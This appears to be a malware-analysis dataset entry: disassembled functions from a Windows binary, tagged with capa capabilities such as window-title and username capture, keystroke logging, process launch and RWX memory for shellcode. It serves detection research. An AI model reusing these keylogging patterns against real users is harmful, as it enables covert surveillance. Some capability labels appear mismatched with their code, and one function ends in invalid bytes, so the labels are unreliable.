joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4248ea
Capabilities:
Get graphical window text
Get session user name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa0c
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
and word [esp + 0x218], 0
push 0x7fe
mov edi, eax
lea eax, [esp + 0x21e]
push 0
push eax
call fcn.00428c40
add esp, 0xc
push 0x400
lea eax, [esp + 0x21c]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp edi, dword [esi + 0x8c]
jne 0x42495c
mov eax, dword [esi + 0x98]
lea ecx, [esp + 0x218]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4249dc
mov eax, esi
call fcn.004247dc
lea eax, [esp + 0x218]
push eax
lea eax, [esi + 0x98]
push eax
mov dword [esi + 0x8c], edi
call fcn.0041cf47
push dword [0x46e97c]
lea ebx, [esp + 0x14]
push edi
call fcn.0041d72f
pop ecx
pop ecx
mov eax, ebx
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
mov eax, ebx
push eax
lea eax, [esi + 0x94]
push eax
call fcn.0041cf47
lea eax, [esi + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
lea eax, [esp + 0xc]
push eax
mov eax, ebx
push eax
mov dword [esp + 0x14], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov eax, ebx
push eax
add esi, 0x90
push esi
call fcn.0041cf47
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4249e3
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
mov esi, ecx
push edi
mov edi, eax
mov eax, esi
mov dword [esi + 0x9c], 1
call fcn.004248ea
push 0x104
lea eax, [ebp - 0x208]
push eax
push edi
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
mov eax, dword [ebp + 8]
shr eax, 0x10
cmp word [ebp + 8], 0
jbe 0x424a32
cmp ax, 0x20
jbe 0x424a32
push eax
lea eax, [esi + 0xa0]
jmp 0x424a58
add esi, 0xa0
push 0
mov eax, esi
call fcn.00425340
push 4
mov eax, esi
call fcn.00425340
push edi
mov eax, esi
call fcn.00425340
shr edi, 0x10
push edi
mov eax, esi
call fcn.00425340
pop edi
pop esi
leave
ret 4
Function at 0x424afa
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, 0x46dd38
mov byte [ebp - 1], 1
call fcn.0041ad3a
mov ebx, dword [edi + 0x20]
push ebx
mov dword [ebp - 0xc], ebx
call fcn.0041d036
xor esi, esi
cmp dword [edi + 0x18], 1
jne 0x424ca4
test ebx, ebx
jle 0x424cc4
cmp esi, dword [edi + 0x20]
jae 0x424c9a
mov eax, dword [edi + 0x1c]
lea ecx, [esi + esi]
add eax, ecx
cmp word [eax], 0
jne 0x424c74
inc esi
cmp esi, dword [edi + 0x20]
jae 0x424c9a
mov eax, dword [edi + 0x1c]
lea ecx, [esi + esi]
add eax, ecx
cmp word [eax], 4
jne 0x424c4c
inc esi
cmp esi, dword [edi + 0x20]
jae 0x424c9a
mov eax, dword [edi + 0x1c]
lea eax, [eax + esi*2]
movzx ecx, word [eax]
inc esi
cmp esi, dword [edi + 0x20]
jae 0x424c9a
mov eax, dword [edi + 0x1c]
lea eax, [eax + esi*2]
movzx eax, word [eax]
movzx ebx, ax
movzx eax, al
movzx ecx, cx
push 1
shl ebx, 0x10
push eax
or ebx, ecx
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov dword [ebp - 8], eax
push 0x104
lea eax, [ebp - 0x214]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
test eax, eax
jne 0x424bd6
push str.Unknown
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
test ebx, 0x1000000
jne 0x424c15
mov eax, dword [ebp - 8]
call fcn.00424abb
test eax, eax
je 0x424c15
push 0x4670fc
push dword [ebp + 8]
call fcn.0040ef36
lea eax, [ebp - 0x214]
push eax
push dword [ebp + 8]
call fcn.0040ef36
push 0x467100
push dword [ebp + 8]
call fcn.0040ef36
jmp 0x424c8e
cmp byte [ebp - 1], 0
jne 0x424c8e
xor eax, eax
movzx ecx, byte [eax + 0x4650d0]
cmp dword [ebp - 8], ecx
je 0x424c8e
inc eax
cmp eax, 5
jl 0x424c1d
cmp dword [ebp - 8], 8
mov eax, dword [ebp + 8]
jne 0x424c3f
call fcn.00424a63
jmp 0x424c8e
push 0x20
call fcn.0041c7ca
mov byte [ebp - 1], 1
jmp 0x424c8e
cmp esi, dword [edi + 0x20]
mov byte [ebp - 1], 0
jae 0x424c9a
mov eax, dword [edi + 0x1c]
add eax, ecx
movzx eax, word [eax]
push eax
mov eax, dword [ebp + 8]
call fcn.0041c7ca
inc esi
cmp esi, dword [edi + 0x20]
jae 0x424c9a
mov eax, dword [edi + 0x1c]
lea eax, [eax + esi*2]
jmp 0x424c82
cmp esi, dword [edi + 0x20]
mov byte [ebp - 1], 0
jae 0x424c9a
mov eax, dword [edi + 0x1c]
add eax, ecx
movzx eax, word [eax]
push eax
mov eax, dword [ebp + 8]
call fcn.0041c7ca
inc esi
cmp esi, dword [ebp - 0xc]
jl 0x424b36
jmp 0x424cc4
push 0x80070057
call fcn.0041b286
test ebx, ebx
jle 0x424cc4
cmp esi, dword [edi + 0x20]
jae 0x424c9a
mov eax, dword [edi + 0x1c]
lea eax, [eax + esi*2]
movzx eax, word [eax]
push eax
mov eax, dword [ebp + 8]
call fcn.0041c7ca
inc esi
cmp esi, ebx
jl 0x424ca8
mov eax, dword [ebp + 8]
pop esi
pop ebx
leave
ret 4
Function at 0x42545f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [eax + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret

Function at 0x425782
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov eax, 0x46ea90
call fcn.004247dc
mov esi, 0x46e988
call fcn.00426ebf
xor esi, esi
test eax, eax
push 0xa
push esi
je 0x4257ad
push dword [0x46e974]
jmp 0x4257b2
push 0x4661a4
push dword [0x46ebc4]
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov edi, eax
cmp edi, 0x20
ja 0x425823
mov eax, dword [0x46dd38]
mov ecx, 0x46dd38
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 4], eax
mov eax, edi
dec eax
dec eax
movzx eax, word [0x46e980]
push eax
lea eax, [ebp - 4]
je 0x4257fd
push 0xbf
call fcn.0040ef5c
push 0x10
jmp 0x425809
push 0xbe
call fcn.0040ef5c
push 0x30
push 0x465024
push dword [ebp - 4]
push esi
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.0041ad22
pop edi
pop esi
leave
ret
Function at 0x427093
Capabilities:
Get graphical window text
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
mov edi, eax
call fcn.0042545f
test eax, eax
jne 0x4270b1
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0xc]
mov eax, dword [edi + 0x1c]
push 3
xor ebx, ebx
push ebx
push 0x40000000
lea esi, [edi + 0x18]
push eax
push esi
mov dword [ebp - 0x14], esi
call fcn.0041cf12
test eax, eax
jl 0x427229
mov eax, dword [0x46dd38]
mov ecx, 0x46dd38
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x228]
push eax
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 4]
push eax
call fcn.0041cf47
push 2
push ebx
push ebx
push esi
call fcn.0042464a
push 2
lea eax, [edi + 0x16]
push eax
push esi
call fcn.0041cee7
push 8
lea eax, [ebp - 0x1c]
push eax
mov esi, edi
call fcn.0042564f
mov eax, dword [ebp - 4]
push ecx
add eax, 0xfffffff0
mov esi, esp
call fcn.0041cd37
add eax, 0x10
mov dword [esi], eax
call fcn.004255ef
push dword [0x46e97c]
lea ebx, [ebp - 0x228]
push dword [ebp + 8]
call fcn.0041d72f
pop ecx
pop ecx
mov eax, ebx
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
mov eax, ebx
push eax
lea eax, [ebp - 4]
push eax
call fcn.0041cf47
mov eax, dword [ebp - 4]
push ecx
add eax, 0xfffffff0
mov esi, esp
call fcn.0041cd37
add eax, 0x10
mov dword [esi], eax
call fcn.004255ef
mov eax, 0x104
push eax
mov dword [ebp - 0x10], eax
mov eax, ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov eax, ebx
push eax
lea eax, [ebp - 4]
push eax
call fcn.0041cf47
mov ebx, dword [ebp - 4]
push ecx
add ebx, 0xfffffff0
mov esi, esp
mov eax, ebx
call fcn.0041cd37
add eax, 0x10
mov dword [esi], eax
call fcn.004255ef
mov ecx, dword [ebp + 0xc]
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push 2
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.004384e0
push 4
lea eax, [ebp - 8]
push eax
mov esi, edi
call fcn.0042564f
push dword [ebp - 8]
mov esi, dword [ebp - 0x14]
push dword [ebp - 0xc]
push esi
call fcn.0041cee7
push dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
call fcn.004376a0
mov eax, dword [esi]
test eax, eax
je 0x427222
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
mov eax, ebx
call fcn.0041ad22
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x427924
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
push edi
mov edi, 0x46e988
mov eax, edi
call fcn.0042545f
test eax, eax
jne 0x42794a
mov eax, dword [0x46e988]
mov ecx, edi
call dword [eax + 0xc]
push 3
push 0
push 0x40000000
push dword [0x46e9a4]
mov esi, 0x46e9a0
push esi
call fcn.0041cf12
test eax, eax
jl 0x427a95
mov eax, dword [0x46dd38]
mov ecx, 0x46dd38
call dword [eax + 0xc]
push 0x10
pop ebx
add eax, ebx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x21c]
push eax
mov dword [ebp - 0xc], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 4]
push eax
call fcn.0041cf47
push 2
push 0
push 0
push esi
call fcn.0042464a
push 2
push 0x46e99e
push esi
call fcn.0041cee7
push 8
lea eax, [ebp - 0x14]
push eax
mov esi, edi
call fcn.0042564f
mov eax, dword [ebp - 4]
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 8], eax
call fcn.0041cd37
add eax, ebx
mov dword [esi], eax
call fcn.004255ef
mov eax, dword [ebp + 0xc]
push ecx
add eax, 0xfffffff0
mov esi, esp
call fcn.0041cd37
add eax, ebx
mov dword [esi], eax
call fcn.004255ef
mov eax, dword [ebp + 0x10]
push ecx
add eax, 0xfffffff0
mov esi, esp
call fcn.0041cd37
add eax, ebx
mov dword [esi], eax
call fcn.004255ef
mov esi, dword [ebp + 8]
cmp esi, dword [0x46e954]
jb 0x427a36
push 0x80070057
call fcn.0041b286
mov eax, dword [0x46e950]
imul esi, esi, 0x18
mov eax, dword [esi + eax + 0x14]
push ecx
sub eax, ebx
mov dword [ebp - 4], esp
call fcn.0041cd37
add eax, ebx
mov ecx, esp
mov dword [ecx], eax
call fcn.004255ef
mov eax, dword [ebp + 8]
cmp eax, dword [0x46e954]
jae 0x427a2c
mov eax, dword [0x46e950]
lea eax, [esi + eax + 4]
push 4
push eax
mov esi, edi
call fcn.0042564f
mov eax, dword [0x46e9a0]
test eax, eax
je 0x427a8d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [0x46e9a0], 0
mov eax, dword [ebp - 8]
call fcn.0041ad22
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp + 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x42bc42
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x46b2d8]
je 0x42bc5d
inc edi
cmp edi, 0x17
jb 0x42bc4e
cmp edi, 0x17
jae 0x42bddd
push ebp
push 3
call fcn.00431c23
cmp eax, 1
pop ecx
je 0x42bda9
push 3
call fcn.00431c23
test eax, eax
pop ecx
jne 0x42bc91
cmp dword [0x46b030], 1
je 0x42bda9
cmp ebx, 0xfc
je 0x42bddc
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x46d288
push ebp
call fcn.0042bfb8
add esp, 0xc
test eax, eax
je 0x42bcc7
push esi
push esi
push esi
push esi
push esi
call fcn.00429878
add esp, 0x14
push 0x104
mov esi, 0x46d2a1
push esi
push 0
mov byte [0x46d3a5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x42bd0b
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.0042bfb8
add esp, 0xc
test eax, eax
je 0x42bd0b
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00429878
add esp, 0x14
push esi
call fcn.004299b0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x42bd50
push esi
call fcn.004299b0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x46d59c
push 0x45dc8c
sub ecx, eax
push ecx
push eax
call fcn.00431b70
add esp, 0x14
test eax, eax
je 0x42bd50
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00429878
add esp, 0x14
jmp 0x42bd52
xor esi, esi
push 0x45dc88
push ebx
push ebp
call fcn.00431aff
add esp, 0xc
test eax, eax
je 0x42bd72
push esi
push esi
push esi
push esi
push esi
call fcn.00429878
add esp, 0x14
push dword [edi*8 + 0x46b2dc]
push ebx
push ebp
call fcn.00431aff
add esp, 0xc
test eax, eax
je 0x42bd94
push esi
push esi
push esi
push esi
push esi
call fcn.00429878
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00431942
add esp, 0xc
jmp 0x42bddc
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x42bddc
cmp ebp, 0xffffffff
je 0x42bddc
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x46b2dc]
push dword [esi]
call fcn.004299b0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x42e24d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46b3b0]
jne 0x42e257
repz ret
jmp fcn.004338de

Function at 0x431570
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x4315ac
mov edi, dword [esp + 0x14]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x4315a2
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x4315ae
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x431612
xor eax, eax
pop edi
pop esi
pop ebx
ret
add byte [eax + 0x68], dl
add byte [eax], al
inc eax
add al, ch
push edx
invalid
Function at 0x431942
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0042cd87
xor ebx, ebx
cmp dword [0x46d8fc], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x431a18
push 0x45dfe4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x431af8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x431af8
push eax
call fcn.0042cd19
mov dword [esp], 0x45dfc8
push edi
mov dword [0x46d8fc], eax
call esi
push eax
call fcn.0042cd19
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x46d900], eax
call esi
push eax
call fcn.0042cd19
mov dword [0x46d904], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0042b9cf
test eax, eax
pop ecx
pop ecx
je 0x4319e6
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00429878
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x431a18
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0042cd19
cmp eax, ebx
pop ecx
mov dword [0x46d90c], eax
je 0x431a18
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042cd19
pop ecx
mov dword [0x46d908], eax
mov eax, dword [0x46d908]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x431a9d
cmp dword [0x46d90c], ecx
je 0x431a9d
push eax
call fcn.0042cd90
push dword [0x46d90c]
mov esi, eax
call fcn.0042cd90
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x431a9d
cmp edi, ebx
je 0x431a9d
call esi
cmp eax, ebx
je 0x431a6a
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x431a6a
test byte [ebp - 0x18], 1
jne 0x431a9d
lea eax, [ebp - 0x10]
push eax
call fcn.0042ba06
test eax, eax
pop ecx
je 0x431a85
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00429878
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x431a94
or dword [ebp + 0x10], 0x200000
jmp 0x431ad8
or dword [ebp + 0x10], 0x40000
jmp 0x431ad8
mov eax, dword [0x46d900]
cmp eax, dword [ebp - 8]
je 0x431ad8
push eax
call fcn.0042cd90
cmp eax, ebx
pop ecx
je 0x431ad8
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x431ad8
mov eax, dword [0x46d904]
cmp eax, dword [ebp - 8]
je 0x431ad8
push eax
call fcn.0042cd90
cmp eax, ebx
pop ecx
je 0x431ad8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46d8fc]
call fcn.0042cd90
cmp eax, ebx
pop ecx
je 0x431af8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x431afa
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x436b9e
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x46b3b0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00436add
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00428c40
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x436bed
cmp dword [ebp - 0x1c], 5
jb 0x436c05
jmp 0x436c01
cmp dword [ebp - 0x10], 1
jne 0x436c05
cmp dword [ebp - 0x1c], 4
ja 0x436c01
jne 0x436c05
cmp dword [ebp - 0x18], 0
jbe 0x436c05
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x45f054
call fcn.0041b92b
test eax, eax
jge 0x436c26
mov byte [0x46e68c], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042e24d
add ebp, 0x78
leave
ret

Function at 0x437028
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x46dd54], 0
push esi
jne 0x436f9b
call fcn.00436ec6
test eax, eax
je 0x436fde
mov eax, dword [0x46dd54]
cmp eax, 1
jne 0x436fbc
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x436fde
pop esi
ret
push eax
call dword [0x46dd5c]
test eax, eax
jne 0x437026
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x436fe2
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x46dd54]
call dword [0x46dd5c]
mov edi, eax
test edi, edi
je 0x437009
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x437025
lea edi, [esi + 0xff0]
push esi
push dword [0x46dd54]
call dword [0x46dd58]
add esi, 0x10
cmp esi, edi
jb 0x43700f
mov eax, esi
pop edi
pop esi
ret
jmp 0x436f88
Function at 0x43c4e0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x43c50f
push esi
call fcn.0043cc70
add esp, 4
cmp byte [esi + 0x40], 0
je 0x43c508
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x43c58a
mov eax, dword [esi + 0x190]
cmp byte [eax + 0x10], 0
je 0x43c57a
mov eax, dword [esi + 8]
test eax, eax
je 0x43c534
mov ecx, dword [eax]
push esi
call ecx
add esp, 4
mov edx, dword [esi + 0x190]
mov eax, dword [edx]
push esi
call eax
add esp, 4
test eax, eax
je 0x43c576
cmp eax, 2
je 0x43c57a
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x43c525
cmp eax, 3
je 0x43c55c
cmp eax, 1
jne 0x43c525
add dword [ecx + 4], 1
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
cmp ecx, dword [eax + 8]
jl 0x43c525
mov edx, dword [esi + 0x11c]
add dword [eax + 8], edx
jmp 0x43c525
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
mov dword [esi + 0x84], eax
call fcn.0043c370
pop esi
ret
cmp eax, 0xcc
je 0x43c5ac
mov ecx, dword [esi]
mov dword [ecx + 0x14], 0x14
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call edx
add esp, 4
call fcn.0043c370
pop esi
ret

Function at 0x444f60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x14
push esi
push edi
mov edi, dword [esp + 0x20]
cmp dword [edi + 0x4c], 1
mov esi, dword [edi + 0x1a8]
mov dword [esp + 0x18], esi
jne 0x444f87
mov dword [esp + 8], 0x1fe
mov byte [esi + 0x1c], 1
jmp 0x444f93
mov dword [esp + 8], 0
mov byte [esi + 0x1c], 0
mov ecx, dword [edi + 0x64]
mov edx, dword [esp + 8]
mov eax, dword [edi + 4]
mov eax, dword [eax + 8]
push ecx
add edx, 0x100
push edx
push 1
push edi
call eax
xor ecx, ecx
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x14]
add esp, 0x10
cmp dword [edi + 0x64], ecx
mov dword [esp + 0xc], ecx
jle 0x44509f
push ebx
lea edx, [esi + 0x20]
push ebp
mov dword [esp + 0x18], edx
jmp 0x444fdc
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ebp, dword [edx]
cdq
idiv ebp
cmp dword [esp + 0x10], 0
mov dword [esp + 0x1c], eax
je 0x444ffd
mov eax, dword [esi + 0x18]
add dword [eax + ecx*4], 0xff
lea eax, [eax + ecx*4]
mov edx, dword [esi + 0x18]
mov edi, dword [edx + ecx*4]
add ebp, 0xffffffff
mov ecx, ebp
xor eax, eax
xor ebx, ebx
call fcn.00444dd0
mov ecx, eax
xor esi, esi
cmp esi, ecx
jle 0x445032
lea esp, [esp]
add ebx, 1
mov ecx, ebp
mov eax, ebx
call fcn.00444dd0
mov ecx, eax
cmp esi, ecx
jg 0x445020
mov al, byte [esp + 0x1c]
imul bl
mov byte [esi + edi], al
add esi, 1
cmp esi, 0xff
jle 0x445015
cmp dword [esp + 0x10], 0
je 0x445080
mov eax, 1
lea ecx, [edi - 1]
jmp 0x445060
movzx edx, byte [edi]
mov byte [ecx], dl
movzx edx, byte [edi + 0xff]
mov byte [edi + eax + 0xff], dl
add eax, 1
sub ecx, 1
cmp eax, 0xff
jle 0x445060
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x28]
add dword [esp + 0x18], 4
add eax, 1
cmp eax, dword [ecx + 0x64]
mov dword [esp + 0x14], eax
jl 0x444fd0
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x14
ret
Function at 0x44e03a
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [edi + 0x20]
push esi
mov ecx, dword [edi + 0x60]
mov eax, dword [edi + 0x30]
mov edx, dword [edi + 0x68]
sub eax, ecx
sub eax, edx
mov dword [ebp - 4], eax
jne 0x44e061
test ecx, ecx
jne 0x44e06b
test edx, edx
jne 0x44e06b
mov eax, ebx
jmp 0x44e0d7
cmp eax, 0xffffffff
jne 0x44e06b
push 0xfffffffffffffffe
pop eax
jmp 0x44e0d7
mov edx, dword [edi + 0x20]
lea edx, [ebx + edx - 0x106]
cmp ecx, edx
jb 0x44e0d7
mov eax, dword [edi + 0x2c]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.00429000
mov ecx, dword [edi + 0x40]
mov eax, dword [edi + 0x38]
sub dword [edi + 0x64], ebx
sub dword [edi + 0x60], ebx
add esp, 0xc
sub dword [edi + 0x50], ebx
lea eax, [eax + ecx*2]
dec eax
dec eax
movzx edx, word [eax]
mov esi, edx
sub esi, ebx
cmp edx, ebx
sbb edx, edx
not edx
and edx, esi
dec ecx
mov word [eax], dx
jne 0x44e09c
mov eax, dword [edi + 0x34]
mov edx, ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov esi, ecx
sub esi, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, esi
dec edx
mov word [eax], cx
jne 0x44e0bb
mov eax, dword [ebp - 4]
add eax, ebx
mov esi, dword [edi]
cmp dword [esi + 4], 0
je 0x44e130
push eax
mov eax, dword [edi + 0x68]
add eax, dword [edi + 0x60]
add eax, dword [edi + 0x2c]
push eax
call fcn.0044de2e
add dword [edi + 0x68], eax
mov esi, dword [edi + 0x68]
cmp esi, 3
pop ecx
pop ecx
jb 0x44e11c
mov eax, dword [edi + 0x60]
mov ecx, dword [edi + 0x2c]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [edi + 0x4c]
mov dword [edi + 0x3c], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [edi + 0x48]
mov dword [edi + 0x3c], eax
cmp esi, 0x106
jae 0x44e130
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x44e043
pop esi
pop ebx
leave
ret